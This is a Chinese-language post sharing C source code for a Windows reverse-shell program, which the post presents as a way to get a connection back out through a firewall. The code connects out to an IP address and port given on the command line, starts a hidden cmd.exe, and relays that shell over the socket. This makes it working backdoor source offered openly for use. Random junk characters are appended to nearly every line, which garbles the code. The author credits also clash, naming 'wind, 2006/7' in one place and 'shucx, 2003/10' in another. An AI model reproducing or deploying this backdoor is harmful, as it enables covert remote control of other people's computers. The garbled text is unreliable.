这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 KyLp?!|>
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/* ============================== ny1 \4C
Rebound port in Windows NT 8R4qU!M
By wind,2006/7 #{,h@g}W
===============================*/ KY+]RxX
#include o0`q#>7!_b
#include j04/[V)
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#pragma comment(lib,"wsock32.lib") LdEE+"Jw
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void OutputShell(); VQ<5%+
SOCKET sClient; VGZ6
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; UH20n{_:
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void main(int argc,char **argv) sFElD
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{ m&Sp1=*Ejy
WSADATA stWsaData; x)R0F\_
int nRet; ?v.Gn9Z&
SOCKADDR_IN stSaiClient,stSaiServer; plXG[1;&G
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if(argc != 3) c[5@\j\
{ =l,#iYJP8
printf("Useage:\n\rRebound DestIP DestPort\n"); q[c Etp28h
return; ^:z7E1~
} f3&/r
) b:4uK
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WSAStartup(MAKEWORD(2,2),&stWsaData); 5f_7&NxT
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [z+x"9l0!
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stSaiClient.sin_family = AF_INET; x'i0KF
stSaiClient.sin_port = htons(0); bl.EIyG>
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ,`
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) kl<g;3
{ )
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printf("Bind Socket Failed!\n"); ?Aw3lH#:
return; 0N5bPb
} !Uy>eji}
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stSaiServer.sin_family = AF_INET; "L@g3g?|`
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); all*P #[X
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); CQ1 8%w6
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) X6kaL3L}
{ |Puj7Ru
printf("Connect Error!"); 0jTMZ<&zZ
return; hr~.Lj5^W
} :8]6#c6`74
OutputShell(); b1)\Zi
} `]{Psc6_=
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void OutputShell() (9'be\
{ vZk9gGjk
char szBuff[1024]; {(0Id !
SECURITY_ATTRIBUTES stSecurityAttributes; K?YEoz'y[
OSVERSIONINFO stOsversionInfo; qc&jd
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 3?^NN|xg
STARTUPINFO stStartupInfo; ?Cc :)
char *szShell; JMePI%#8
PROCESS_INFORMATION stProcessInformation; :D4];d>1
unsigned long lBytesRead; u\3ZIb
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Ql8^]gbp+
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); AysL-sqR
stSecurityAttributes.lpSecurityDescriptor = 0; CjV7q y
stSecurityAttributes.bInheritHandle = TRUE; kQ[Jo%YT?E
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); vX 1W@s
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); nF|Oy0
z L8J`W
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); B
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; B,MQ.|s[
stStartupInfo.wShowWindow = SW_HIDE; fFHK:n`
stStartupInfo.hStdInput = hReadPipe; PJ;.31u
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; O$U}d-Xnx
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GetVersionEx(&stOsversionInfo); jJ<;2e~OW
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switch(stOsversionInfo.dwPlatformId)
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{ XD
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case 1: Z,SY
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szShell = "command.com"; <OIUyZS
break; EoKo
default: !YY6o
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szShell = "cmd.exe"; BPh".R J
break; VZTmzIk.Y
} @ "0uM?_)-
R~$hWu}}
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); },v&rkwR
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send(sClient,szMsg,77,0); G LoiH#R
while(1) G~S))p
{ 7oD
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); N6WPTUQ1mF
if(lBytesRead) 5
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{ w"BIv9N
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); >T`zh^+5W
send(sClient,szBuff,lBytesRead,0); ;eP_;N5+J
} [z^Od
else eVrnVPkM
{ & \JLTw
lBytesRead=recv(sClient,szBuff,1024,0); ,}u,)7
if(lBytesRead<=0) break; nT#37v
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); fjcr<&{:
} )dqR<)
} >CH
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return; k]t,q$Vd
}